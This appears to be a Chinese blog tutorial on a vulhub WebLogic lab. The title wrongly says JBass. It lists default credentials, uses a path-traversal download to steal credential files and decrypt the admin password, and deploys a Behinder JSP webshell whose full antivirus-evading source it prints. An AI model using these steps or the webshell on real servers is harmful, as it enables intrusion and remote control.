JBass弱口令及任意文件下载漏洞分析

admin 2020年8月22日18:00:50评论245 views字数 2684阅读8分56秒阅读模式

一、搭建JBass环境

vulhub下载:

sudo git clone https://github.com/vulhub/vulhub.git

vulhub是基于docker-compose环境搭建的,里面集成了很多的漏洞版本,例如:

JBass弱口令及任意文件下载漏洞分析

vulhub里面又有很多个漏洞,每一个文件夹代表着一个漏洞

接下来,开始搭建vulhub环境:

搭建vulhub环境需要docker-compose,如果没有docker-compose的话就先下载吧

下载:sudo apt install docker-compose

docker-compose和vulhub都安装完后:

进入到vulhub/weblogic选择,weak_password,弱口令模块

JBass弱口令及任意文件下载漏洞分析

进入到weak_password文件夹后,执行sudo docker-compose build对文件进行编译:

前提是当前文件夹下有docker-compose.yml文件,docker-compose.yml代表着一个漏洞环境,如果没有docker-compose.yml文件在编译的时候会报错

JBass弱口令及任意文件下载漏洞分析

编译完后,执行docker-compose up -d进行自动安装环境,并且后台运行

安装运行完后,使用命令sudo docker ps查看docker正在运行的环境

JBass弱口令及任意文件下载漏洞分析

可以看到已经运行了weblogic环境并且映射了7001端口

打开页面:

在url后面加入/console/login/会自动跳转到登录页面,

JBass弱口令及任意文件下载漏洞分析

Weblogic常见弱口令如下:

User ID Password
system password
admin security
joe password
mary password
system security
wlcsystem wlcsystem
wlpisystem wlpisystem
weblogic Oracle@123

Oracle123 |

由于登录次数超过五次后就会限制登录了,所以不要轻易的进行暴力破解

二、利用任意文件下载漏洞破解登录密码

如果网站存在任意文件下载等漏洞,我们还可以通过破解的方式获取密码。

weblogic密码使用AES加密,AES为对称加密方式,如果找到密钥/密文即可解密。

Weblogic将用户的密文与密钥保存在本地

/root/Oracle/Middleware/user_projects/domains/base_domain文件夹中,分别为如下两个文件:

./security/SerializedSystemIni.dat 密钥

./config/config.xml 密文

vulhub测试环境存在一个任意文件下载漏洞:

测试访问/etc/passwd文件

http://192.168.1.112:7001/hello/file.jsp?path=/etc/passwd

JBass弱口令及任意文件下载漏洞分析

下载SerializedSystemIni.dat 密钥:

192.168.1.112:7001/hello/file.jsp?path=/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

右键保存到本地

JBass弱口令及任意文件下载漏洞分析

下载密文:

http://192.168.1.112:7001/hello/file.jsp?path=/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml

可以直接用浏览器下载

JBass弱口令及任意文件下载漏洞分析

密文-》//找到字段

JBass弱口令及任意文件下载漏洞分析

然后使用密钥和密文进行解密:

JBass弱口令及任意文件下载漏洞分析

有了密码后就可以登录后台:用户名:weblogic 密码:Oracle@123

工具下载地址:

https://github.com/TideSec/Decrypt_Weblogic_Password

三、通过部署功能上传web_Shell

进入后台后,点击部署,然后点击安装:

JBass弱口令及任意文件下载漏洞分析

然后点击文件上传:

JBass弱口令及任意文件下载漏洞分析

这里的一句话要压缩成zip文件格式,然后修改后缀为war再上传:

JBass弱口令及任意文件下载漏洞分析

点击下一步:

JBass弱口令及任意文件下载漏洞分析

再点击下一步:

JBass弱口令及任意文件下载漏洞分析

再点击下一步进行部署:

JBass弱口令及任意文件下载漏洞分析

再点击下一步进行安装:

JBass弱口令及任意文件下载漏洞分析

在点击下一步完成安装:

JBass弱口令及任意文件下载漏洞分析

最后完成安装:

JBass弱口令及任意文件下载漏洞分析

访问shell路径是上下文跟路径+你之前压缩的jsp文件名,而不是压缩包的文件名:

http://192.168.1.112:7001/bq2/bqshell.jsp

JBass弱口令及任意文件下载漏洞分析

使用冰蝎链接:

JBass弱口令及任意文件下载漏洞分析

执行命令:

JBass弱口令及任意文件下载漏洞分析

四、冰蝎连接乱码问题

导致冰蝎连接失败,并且返回一堆乱码,这个肯定是shell编码的问题。

刚开始的时候,我是在Ubuntu上面编写的shell,上传后连接老是出现编码问题。

经过一个多小时的排查,把shell放在windows上编写,并且另存为UTF-8编码,然后再传到Ubuntu上面压缩成ZIP文件,然后再后缀名为war,然后再上传到部署页面,然后再用冰蝎去连接就没有问题了!!!

(简单来说就是jsp文件编码要改成utf-8)

JBass弱口令及任意文件下载漏洞分析

命令代码执行:

JBass弱口令及任意文件下载漏洞分析

五、冰蝎jsp一句话

冰蝎工具:

https://github.com/rebeyond/Behinder/releases

jsp一句话:听说这个是过360的

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extendu0073 ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
JBass弱口令及任意文件下载漏洞分析

精彩推荐





JBass弱口令及任意文件下载漏洞分析
JBass弱口令及任意文件下载漏洞分析JBass弱口令及任意文件下载漏洞分析

JBass弱口令及任意文件下载漏洞分析JBass弱口令及任意文件下载漏洞分析

JBass弱口令及任意文件下载漏洞分析

JBass弱口令及任意文件下载漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年8月22日18:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JBass弱口令及任意文件下载漏洞分析http://cn-sec.com/archives/98805.html

发表评论

匿名网友 填写信息